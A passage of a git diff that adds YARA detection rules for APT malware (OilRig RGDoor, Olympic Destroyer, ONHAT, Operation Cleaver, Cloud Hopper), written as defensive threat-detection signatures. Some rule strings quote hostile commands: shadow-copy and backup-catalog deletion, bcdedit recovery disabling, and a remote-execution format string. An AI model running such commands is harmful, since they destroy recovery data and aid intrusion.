+      $s8 = "Agent can not be configured" fullword ascii
+      $s9 = "%08lX%04hX%04hX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX" fullword ascii
+      $s10 = "!!! can not create output file !!!" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and (
+         pe.imphash() == "538805ecd776b9a42e71aebf94fde1b1" or
+         pe.imphash() == "861ac226fbe8c99a2c43ff451e95da97" or
+         ( 1 of ($x*) or 3 of them )
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_oilrig_rgdoor.yar b/yara-Neo23x0/apt_oilrig_rgdoor.yar
new file mode 100644
index 0000000..3bfc77c
--- /dev/null
+++ b/yara-Neo23x0/apt_oilrig_rgdoor.yar
@@ -0,0 +1,39 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-27
+   Identifier: RGDoor
+   Reference: https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule OilRig_RGDoor_Gen1 {
+   meta:
+      description = "Detects RGDoor backdoor used by OilRig group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
+      date = "2018-01-27"
+      score = 80
+      hash1 = "a9c92b29ee05c1522715c7a2f9c543740b60e36373cb47b5620b1f3d8ad96bfa"
+      id = "68ac1f35-4eaa-5899-b66c-296d7c5fa462"
+   strings:
+      $c1 = { 00 63 6D 64 24 00 00 00 00 72 00 00 00 00 00 00 00 75 70 6C 6F
+              61 64 24 }
+      $c2 = { 63 61 6E 27 74 20 6F 70 65 6E 20 66 69 6C 65 3A 20 00 00 00 00
+              00 00 00 64 6F 77 6E 6C 6F 61 64 24 }
+
+      $s1 = "MyNativeModule.dll" fullword ascii
+      $s2 = "RGSESSIONID=" fullword ascii
+      $s3 = "download$" fullword ascii
+      $s4 = ".?AVCHelloWorld@@" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+        pe.imphash() == "47cb127aad6c7c9954058e61a2a6429a" or
+        1 of ($c*) or
+        2 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_olympic_destroyer.yar b/yara-Neo23x0/apt_olympic_destroyer.yar
new file mode 100644
index 0000000..b8c16ba
--- /dev/null
+++ b/yara-Neo23x0/apt_olympic_destroyer.yar
@@ -0,0 +1,60 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-12
+   Identifier: Olympic Destroyer
+   Reference: http://blog.talosintelligence.com/2018/02/olympic-destroyer.html
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Destructive_Ransomware_Gen1 {
+   meta:
+      description = "Detects destructive malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+      date = "2018-02-12"
+      hash1 = "ae9a4e244a9b3c77d489dee8aeaf35a7c3ba31b210e76d81ef2e91790f052c85"
+      id = "3a7ce55e-fb28-577b-91bb-fe02d7b3d73c"
+   strings:
+      $x1 = "/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" fullword wide
+      $x2 = "delete shadows /all /quiet" fullword wide
+      $x3 = "delete catalog -quiet" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and 1 of them
+}
+
+rule OlympicDestroyer_Gen2 {
+   meta:
+      description = "Detects Olympic Destroyer malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+      date = "2018-02-12"
+      hash1 = "d934cb8d0eadb93f8a57a9b8853c5db218d5db78c16a35f374e413884d915016"
+      hash2 = "3e27b6b287f0b9f7e85bfe18901d961110ae969d58b44af15b1d75be749022c2"
+      hash3 = "edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9"
+      hash4 = "28858cc6e05225f7d156d1c6a21ed11188777fa0a752cb7b56038d79a88627cc"
+      id = "8d0cbb7b-6650-53ed-8d58-176f8b4af880"
+   strings:
+      $x1 = "cmd.exe /c (ping 0.0.0.0 > nul) && if exist %programdata%\\evtchk.txt" fullword wide
+      $x2 = "cmd.exe /c (echo strPath = Wscript.ScriptFullName & echo.Set FSO = CreateObject^(\"Scripting.FileSystemObject\"^)" wide
+      $x3 = "del %programdata%\\evtchk.txt" fullword wide
+      $x4 = "Pyeongchang2018.com\\svc_all_swd_installc" fullword ascii
+
+      $s1 = "<STARTCRED>" fullword wide
+      $s2 = "SELECT ds_cn FROM ds_computer" fullword wide
+      $s3 = "\\system32\\notepad.exe" wide
+      $s4 = "%s \\\\%s -u \"%s\" -p \"%s\" -accepteula -d %s %s \"%s\"" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 5000KB and (
+         pe.imphash() == "fd7200dcd5c0d9d4d277a26d951210aa" or
+         pe.imphash() == "975087e9286238a80895b195efb3968d" or
+         pe.imphash() == "da1c2d7acfe54df797bfb1f470257bc3" or
+         1 of ($x*) or
+         3 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_onhat_proxy.yar b/yara-Neo23x0/apt_onhat_proxy.yar
new file mode 100644
index 0000000..00db628
--- /dev/null
+++ b/yara-Neo23x0/apt_onhat_proxy.yar
@@ -0,0 +1,31 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-12
+	Identifier: ONHAT
+*/
+
+rule ONHAT_Proxy_Hacktool {
+	meta:
+		description = "Detects ONHAT Proxy - Htran like SOCKS hack tool used by Chinese APT groups"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/p32Ozf"
+		date = "2016-05-12"
+		score = 100
+		hash1 = "30b2de0a802a65b4db3a14593126301e6949c1249e68056158b2cc74798bac97"
+		hash2 = "94bda24559713c7b8be91368c5016fc7679121fea5d565d3d11b2bb5d5529340"
+		hash3 = "a26e75fec3b9f7d5a1c3d0ce1e89e4b0befb7a601da0c69a4cf96301921771dd"
+		hash4 = "c202e9d5b99f6137c7c07305c7314e55f52bae832d460c44efc8f2a90ff03615"
+		hash5 = "dded62ad85c0bdd68bcc96f88d8ba42d5ad0ef999911ebdea3f561a4491ebbc6"
+		hash6 = "f0954774c91603fc2595f0ba0727b9af4e80f6f9be7bb629e7fb6ba4309ed4ea"
+		hash7 = "f3906be01d51e2e1ae9b03cd09702b6e0794b9c9fd7dc04024f897e96bb13232"
+		hash8 = "f65ae9ccf988a06a152f27a4c0d7992100a2d9d23d80efe8d8c2a5c9bd78a3a7"
+		id = "cb18a5b0-dbbd-5dd3-af66-21b8302df6de"
+	strings:
+		$s1 = "INVALID PARAMETERS. TYPE ONHAT.EXE -h FOR HELP INFORMATION." fullword ascii
+		$s2 = "[ONHAT] LISTENS (S, %d.%d.%d.%d, %d) ERROR." fullword ascii
+		$s3 = "[ONHAT] CONNECTS (T, %d.%d.%d.%d, %d.%d.%d.%d, %d) ERROR." fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 80KB and ( 1 of ($s*) ) ) or ( 2 of them )
+}
diff --git a/yara-Neo23x0/apt_op_cleaver.yar b/yara-Neo23x0/apt_op_cleaver.yar
new file mode 100644
index 0000000..320cadb
--- /dev/null
+++ b/yara-Neo23x0/apt_op_cleaver.yar
@@ -0,0 +1,352 @@
+/* Op Cleaver -------------------------------------------------------------- */
+
+rule OPCLEAVER_BackDoorLogger
+{
+	meta:
+		description = "Keylogger used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "e9149baa-83c0-597f-833c-ea0241bb60e6"
+	strings:
+		$s1 = "BackDoorLogger"
+		$s2 = "zhuAddress"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_Jasus
+{
+	meta:
+		description = "ARP cache poisoner used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "8e04b258-e071-5974-9778-b9d0b97be8d5"
+	strings:
+		$s1 = "pcap_dump_open"
+		$s2 = "Resolving IPs to poison..."
+		$s3 = "WARNNING: Gateway IP can not be found"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_LoggerModule
+{
+	meta:
+		description = "Keylogger used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "949e7ff4-2102-5c89-83c9-f7ba64745661"
+	strings:
+		$s1 = "%s-%02d%02d%02d%02d%02d.r"
+		$s2 = "C:\\Users\\%s\\AppData\\Cookies\\"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_NetC
+{
+	meta:
+		description = "Net Crawler used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "68f32662-0d7d-5dfa-8bfd-ca41d383e19c"
+	strings:
+		$s1 = "NetC.exe" wide
+		$s2 = "Net Service"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_ShellCreator2
+{
+	meta:
+		description = "Shell Creator used by attackers in Operation Cleaver to create ASPX web shells"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "b62336c3-39e5-55f8-98df-6c2a2cb0764a"
+	strings:
+		$s1 = "ShellCreator2.Properties"
+		$s2 = "set_IV"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_SmartCopy2
+{
+	meta:
+		description = "Malware or hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "898d9060-208a-5dfb-a452-50ab49b80a9d"
+	strings:
+		$s1 = "SmartCopy2.Properties"
+		$s2 = "ZhuFrameWork"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_SynFlooder
+{
+	meta:
+		description = "Malware or hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "bdaf02f4-1226-569b-9f55-999be7ff397a"
+	strings:
+		$s1 = "Unable to resolve [ %s ]. ErrorCode %d"
+		$s2 = "s IP is : %s"
+		$s3 = "Raw TCP Socket Created successfully."
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_TinyZBot
+{
+	meta:
+		description = "Tiny Bot used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "4fad21a6-a900-5afb-876d-99a6d93e0c2c"
+	strings:
+		$s1 = "NetScp" wide
+		$s2 = "TinyZBot.Properties.Resources.resources"
+		$s3 = "Aoao WaterMark"
+		$s4 = "Run_a_exe"
+		$s5 = "netscp.exe"
+		$s6 = "get_MainModule_WebReference_DefaultWS"
+		$s7 = "remove_CheckFileMD5Completed"
+		$s8 = "http://tempuri.org/"
+		$s9 = "Zhoupin_Cleaver"
+	condition:
+		(($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9)
+}
+
+rule OPCLEAVER_ZhoupinExploitCrew
+{
+	meta:
+		description = "Keywords used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "4e7457a0-e6e1-535c-b04b-ad313b496ce1"
+	strings:
+		$s1 = "zhoupin exploit crew" nocase
+		$s2 = "zhopin exploit crew" nocase
+	condition:
+		1 of them
+}
+
+rule OPCLEAVER_antivirusdetector
+{
+	meta:
+		description = "Hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "25ab4eaf-eae7-5a55-bed4-42f621d5f06c"
+	strings:
+		$s1 = "getShadyProcess"
+		$s2 = "getSystemAntiviruses"
+		$s3 = "AntiVirusDetector"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_csext
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "f865eae5-9988-5533-a004-e1694761a557"
+	strings:
+		$s1 = "COM+ System Extentions"
+		$s2 = "csext.exe"
+		$s3 = "COM_Extentions_bin"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_kagent
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "32d20495-eeed-5b2b-915d-cad60fa991f6"
+	strings:
+		$s1 = "kill command is in last machine, going back"
+		$s2 = "message data length in B64: %d Bytes"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_mimikatzWrapper
+{
+	meta:
+		description = "Mimikatz Wrapper used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "e9427e29-e581-5a5b-8f1d-4b9bfeec0946"
+	strings:
+		$s1 = "mimikatzWrapper"
+		$s2 = "get_mimikatz"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_pvz_in
+{
+	meta:
+		description = "Parviz tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "dede12b3-f1dd-58ba-a860-829b2331b740"
+	strings:
+		$s1 = "LAST_TIME=00/00/0000:00:00PM$"
+		$s2 = "if %%ERRORLEVEL%% == 1 GOTO line"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_pvz_out
+{
+	meta:
+		description = "Parviz tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "46b51bff-dfd9-5f56-897c-422112bc837b"
+	strings:
+		$s1 = "Network Connectivity Module" wide
+		$s2 = "OSPPSVC" wide
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_wndTest
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "f8daa0a8-f0f0-5bf7-b9ab-eaf5335ff2b9"
+	strings:
+		$s1 = "[Alt]" wide
+		$s2 = "<< %s >>:" wide
+		$s3 = "Content-Disposition: inline; comp=%s; account=%s; product=%d;"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhCat
+{
+	meta:
+		description = "Network tool used by Iranian hackers and used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "e1f1bc48-b895-5e23-8ffd-b6ea9c8eb26f"
+	strings:
+		$s1 = "Mozilla/4.0 ( compatible; MSIE 7.0; AOL 8.0 )" ascii fullword
+		$s2 = "ABC ( A Big Company )" wide fullword
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhLookUp
+{
+	meta:
+		description = "Hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "45ef9a90-db4c-59c3-b694-da3f539b118b"
+	strings:
+		$s1 = "zhLookUp.Properties"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhmimikatz
+{
+	meta:
+		description = "Mimikatz wrapper used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+		id = "fba8ab6e-3b61-53a1-b4df-178442e3cf24"
+	strings:
+		$s1 = "MimikatzRunner"
+		$s2 = "zhmimikatz"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_Parviz_Developer
+{
+	meta:
+		description = "Parviz developer known from Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		id = "2bfa90a0-0495-5b21-98f7-5ed7ebc74b2d"
+	strings:
+		$s1 = "Users\\parviz\\documents\\" nocase
+	condition:
+		$s1
+}
+
+rule OPCLEAVER_CCProxy_Config
+{
+	meta:
+		description = "CCProxy config known from Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		id = "c4d80a2a-2a32-585e-bc20-1c5118e4ee48"
+	strings:
+		$s1 = "UserName=User-001" fullword ascii
+		$s2 = "Web=1" fullword ascii
+		$s3 = "Mail=1" fullword ascii
+		$s4 = "FTP=0" fullword ascii
+		$x1 = "IPAddressLow=78.109.194.114" fullword ascii
+	condition:
+		all of ($s*) or $x1
+}
diff --git a/yara-Neo23x0/apt_op_cloudhopper.yar b/yara-Neo23x0/apt_op_cloudhopper.yar
new file mode 100644
index 0000000..ac34ca9
--- /dev/null
+++ b/yara-Neo23x0/apt_op_cloudhopper.yar
@@ -0,0 +1,318 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-03
+   Identifier: Operation Cloud Hopper
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule OpCloudHopper_Malware_1 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "27876dc5e6f746ff6003450eeea5e98de5d96cbcba9e4694dad94ca3e9fb1ddc"
+      id = "28ca64ac-beee-51d9-96d4-a1f6d52823ec"
+   strings:
+      $s1 = "zok]\\\\\\ZZYYY666564444" fullword ascii
+      $s2 = "z{[ZZYUKKKIIGGGGGGGGGGGGG" fullword ascii
+      $s3 = "EEECEEC" fullword ascii
+      $s4 = "IIEFEE" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule OpCloudHopper_Malware_2 {
+   meta:
+      description = "Detects Operation CloudHopper malware samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      modified = "2023-01-06"
+      score = 90
+      hash1 = "c1dbf481b2c3ba596b3542c7dc4e368f322d5c9950a78197a4ddbbaacbd07064"
+      id = "7c0a3d68-5f6b-5491-b0c2-94e8cff478d1"
+   strings:
+      $x1 = "sERvEr.Dll" fullword ascii
+      $x2 = "ToolbarF.dll" fullword wide
+      $x3 = ".?AVCKeyLoggerManager@@" fullword ascii
+      $x4 = "GH0STCZH" ascii
+
+      $s1 = "%%SystemRoot%%\\System32\\svchost.exe -k \"%s\"" fullword wide
+      $s2 = "rundll32.exe \"%s\", UnInstall /update %s" fullword wide
+      $s3 = "\\Release\\Loader.pdb" ascii
+      $s4 = "%s\\%x.dll" fullword wide
+      $s5 = "Mozilla/4.0 (compatible)" fullword wide
+      $s6 = "\\syslog.dat" wide
+      $s7 = "NSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
+
+      $op1 = { 8d 34 17 8d 49 00 8a 14 0e 3a 14 29 75 05 41 3b }
+      $op2 = { 83 e8 14 78 cf c1 e0 06 8b f8 8b c3 8a 08 84 c9 }
+      $op3 = { 3b fb 7d 3f 8a 4d 14 8d 45 14 84 c9 74 1b 8a 14 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 900KB and ( 1 of ($x*) or 3 of ($s*) ) or all of ($op*) ) or ( 6 of them )
+}
+
+rule OpCloudHopper_Malware_3 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "c21eaadf9ffc62ca4673e27e06c16447f103c0cf7acd8db6ac5c8bd17805e39d"
+      id = "ad1d3b48-d48c-5011-ac51-c8047e1ee8ed"
+   strings:
+      $s6 = "operator \"\" " fullword ascii
+      $s7 = "zok]\\\\\\ZZYYY666564444" fullword ascii
+      $s11 = "InvokeMainViaCRT" fullword ascii
+      $s12 = ".?AVAES@@" fullword ascii
+
+      $op1 = { b6 4c 06 f5 32 cf 88 4c 06 05 0f b6 4c 06 f9 32 }
+      $op2 = { 06 fc eb 03 8a 5e f0 85 c0 74 05 8a 0c 06 eb 03 }
+      $op3 = { 7e f8 85 c0 74 06 8a 74 06 08 eb 03 8a 76 fc 85 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and ( all of ($s*) and 1 of ($op*) ) or all of ($op*) ) or ( 5 of them )
+}
+
+rule OpCloudHopper_Dropper_1 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "411571368804578826b8f24f323617f51b068809b1c769291b21125860dc3f4e"
+      id = "b43ffb7e-1643-5560-8719-9c63582920e7"
+   strings:
+      $s1 = "{\\version2}{\\edmins0}{\\nofpages1}{\\nofwords11}{\\nofchars69}{\\*\\company google}{\\nofcharsws79}{\\vern24611}{\\*\\password" ascii
+   condition:
+      ( uint16(0) == 0x5c7b and filesize < 700KB and all of them )
+}
+
+rule OpCloudHopper_Malware_4 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      modified = "2023-01-06"
+      hash1 = "ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145"
+      id = "ebc810e6-f549-5401-9ee9-331888eda127"
+   strings:
+      $s6 = "operator \"\" " fullword ascii
+      $s9 = "InvokeMainViaCRT" fullword ascii
+      $s10 = ".?AVAES@@" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 800KB and all of them )
+}
+
+rule OpCloudHopper_Malware_5 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "beb1bc03bb0fba7b0624f8b2330226f8a7da6344afd68c5bc526f9d43838ef01"
+      id = "1ad189f8-a4c2-5f56-beec-a55bd516ad8d"
+   strings:
+      $x1 = "CWINDOWSSYSTEMROOT" fullword ascii
+      $x2 = "YJ_D_KROPOX_M_NUJI_OLY_S_JU_MOOK" fullword ascii
+      $x3 = "NJK_JK_SED_PNJHGFUUGIOO_PIY" fullword ascii
+      $x4 = "c_VDGQBUl}YSB_C_VDlqSDYFU" fullword ascii
+
+      $s7 = "FALLINLOVE" fullword ascii
+
+      $op1 = { 83 ec 60 8d 4c 24 00 e8 6f ff ff ff 8d 4c 24 00 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) or 2 of them ) ) or ( 4 of them )
+}
+
+rule OpCloudHopper_Malware_6 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "aabebea87f211d47f72d662e2449009f83eac666d81b8629cf57219d0ce31af6"
+      id = "b7578cbd-0f41-5dec-86f6-5792c305a182"
+   strings:
+      $s1 = "YDNCCOVZKXGRVQPOBRNXXQVNQYXBBCONCOQEGYELIRBEYOVODGXCOXTHXPCXNGUCHRVWKKZSYQMAOWWGHRSPRGSEUWYMEFZHRTHO" fullword ascii
+      $s2 = "psychiatry.dat" fullword ascii
+      $s3 = "meekness.lnk" fullword ascii
+      $s4 = "SOFTWARE\\EGGORG" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them )
+}
+
+rule OpCloudHopper_Malware_7 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "44a7bea8a08f4c2feb74c6a00ff1114ba251f3dc6922ea5ffab9e749c98cbdce"
+      id = "8d32e379-c902-5330-84f5-693a7649a2e4"
+   strings:
+      $x1 = "jepsjepsjepsjepsjepsjepsjepsjepsjepsjeps" fullword ascii
+      $x2 = "extOextOextOextO" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule OpCloudHopper_Malware_8 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b"
+      hash2 = "5cebc133ae3b6afee27beb7d3cdb5f3d675c3f12b7204531f453e99acdaa87b1"
+      id = "5e0a09e3-732a-5a90-9d4a-11eae2aa4cc4"
+   strings:
+      $s1 = "WSHELL32.dll" fullword wide
+      $s2 = "operator \"\" " fullword ascii
+      $s3 = "\" /t REG_SZ /d \"" fullword wide
+      $s4 = " /f /v \"" fullword wide
+      $s5 = "zok]\\\\\\ZZYYY666564444" fullword ascii
+      $s6 = "AFX_DIALOG_LAYOUT" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 900KB and 4 of them )
+}
+
+rule OpCloudHopper_Malware_9 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "f0002b912135bcee83f901715002514fdc89b5b8ed7585e07e482331e4a56c06"
+      id = "5a02f2ac-905d-550a-bde0-cfde6ed1a4ab"
+   strings:
+      $s1 = "MsMpEng.exe" fullword ascii
+      $op0 = { 2b c7 50 e8 22 83 ff ff ff b6 c0 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule OpCloudHopper_Malware_10 {
+   meta:
+      description = "Detects malware from Operation Cloud Hopper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-03"
+      hash1 = "5b4028728d8011a2003b7ce6b9ec663dd6a60b7adcc20e2125da318e2d9e13f4"
